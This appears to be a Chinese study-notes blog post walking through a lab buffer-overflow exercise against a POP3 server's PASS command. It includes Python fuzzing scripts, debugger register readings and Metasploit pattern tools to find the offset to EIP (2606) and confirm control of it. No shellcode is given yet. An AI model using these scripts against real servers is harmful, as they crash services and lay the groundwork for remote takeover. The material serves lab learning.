Kali學習筆記21:緩沖區溢出實驗(漏洞發現)


上一篇文章,我已經做好了緩沖區溢出實驗的准備工作:

https://www.cnblogs.com/xuyiqing/p/9835561.html

 

下面就是Kali虛擬機對緩沖區溢出的測試:

 已經知道目標IP為:192.168.163.130

 

連接目標機器110端口成功,接下來進行測試

事先已經知道PASS命令存在緩沖區溢出漏洞:

只要在PASS后邊輸入的數據達到某一個值時,就會出現緩沖區溢出漏洞

 

但是,手動嘗試這個值實在有點低端,寫一個Python腳本:

 先寫一個基本的腳本來測試:

#!/usr/bin/python
import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
    print "\nSending evil buffer..."
    s.connect(('192.168.163.130', 110))
    data = s.recv(1024)
    print data

    s.send('USER test' + '\r\n')
    data = s.recv(1024)
    print data

    s.send('PASS test\r\n')
    data = s.recv(1024)
    print data

    s.close()
    print '\nDone'

except:
    print 'Can not connect to POP3'

 

使用腳本:

如果腳本是從windows移過來的:

vi xxx.py

:set fileformat=unix

:wq

chmod u+x xxx.py

./xxx.py

 

測試:OK

 

完善腳本:

#!/usr/bin/python
import socket

buffer = ["A"]
counter = 100

while len(buffer) <= 30:
    buffer.append("A" * counter)
    counter += 200

for string in buffer:
    print "FUZZING PASS WITH %s BYTES" % len(string)
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    connect = s.connect(('192.168.163.130', 110))
    s.recv(1024)
    s.send('USER test' + '\r\n')
    s.recv(1024)
    s.send('PASS ' + string + '\r\n')
    s.send('QUIT\r\n')
    s.close()

 

測試:OK

 

我們發送這么多的數據來測試,那么問題來了,要怎么判斷目標機器到底有沒有緩沖區溢出?

 

這時候就需要上一篇提到的ImmunityDebugger了:

先得到進程的PID:

 

記住這個PID,打開ImmunityDebugger,file菜單選擇attach

然后找到剛才的PID選擇即可:

 

默認的暫停狀態,點擊開始按鈕來繼續:

 

打開Kali虛擬機開始發送:

果然,發送到2900的時候停下來了:

 

我們看看windows機器:

觀察寄存器:

 

注意這里的寄存器顯示:41414141,根據Ascii碼表,得出是AAAA

這里重點注意EIP:系統下一步要執行指令的內存地址

而這里下一條指令全部都是A,沒有正確的執行代碼,所以現在程序已經崩潰了

 

再看看下邊的內存信息:全部都是A

 

我們可以把腳本的A改成其他字符繼續測試,發現都是到3000左右程序崩潰

 

到這里我們想到:是否可以通過這個漏洞來做一些事情?

 

OK,我們可以通過腳本測試得到確切的溢出值,然后修改EIP寄存器存放下一條指令的地址

可以添加一些后門程序,如果是Shellcode就可以進一步控制目標機器

 

下一個目標: 找出精確的溢出到EIP寄存器的字節,進而可以修改程序運行軌跡

我們進一步來寫一個腳本:

#!/usr/bin/python
import socket

buffer = 'A' * 2700

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
    print "\nSending evil buffer...\n"
    s.connect(('192.168.163.130', 110))
    data1 = s.recv(1024)
    s.send('USER test' + '\r\n')
    data2 = s.recv(1024)
    s.send('PASS ' + buffer + '\r\n')
    s.close()
    print '\nDone'
except:
    print 'Can not connect to POP3'

 

 

發送過去程序崩潰了,說明2700大了,那么需要調小一些,

改成2600試試:發現程序崩潰了,但是EIP並不是A,所以想要利用需要比2600大

 

到這里就知道了,最終數據應該是2600-2700之間

 

不過,具體該怎么精確地跳轉呢?

二分法:不必多說

唯一字符串法:生成2700個字符,每四個一組,每一組字符串唯一,發送唯一字符串,精確定位

唯一字符串腳本比較復雜,但不需要自己寫,Kali虛擬機里面就有:metasploit-framework一個ruby腳本

使用方式: ./pattern_create.rb -l 2700

我們使用這2700個字符地唯一字符串來修改上邊地腳本,把“A”*2700換成這個字符串

 

查看寄存器:

 

發現唯一字符串對應地址(16進制)是:39 69 44 38

由於內存地址,讀取要倒過來:38 44 69 39

對應字符是:8 D i 9

 

那么怎樣知道對應第幾位呢?

metasploit-framework一個ruby腳本可以解決:

 

使用:

或者這樣:

 

得出是在第2606個位置

 

既然得到了是在第2606個位置:

就可以繼續修改這個腳本了:測試能否恰好是BBBB

#!/usr/bin/python
import socket

buffer = 'A' * 2606 + 'B' * 4 + 'C' * 20

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
    print "\nSending evil buffer...\n"
    s.connect(('192.168.163.130', 110))
    data1 = s.recv(1024)
    s.send('USER test' + '\r\n')
    data2 = s.recv(1024)
    s.send('PASS ' + buffer + '\r\n')
    s.close()
    print '\nDone'
except:
    print 'Can not connect to POP3'

 

果然:

 

 

查看42對應的就是B

那么

假設,在ESP中,不是20個C,而是Shellcode或者是惡意代碼(反向連接等等)

就可以實現遠程控制的目的

 

具體如何精確修改而實現對目標機器的控制呢?

下一篇隨筆具體介紹

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM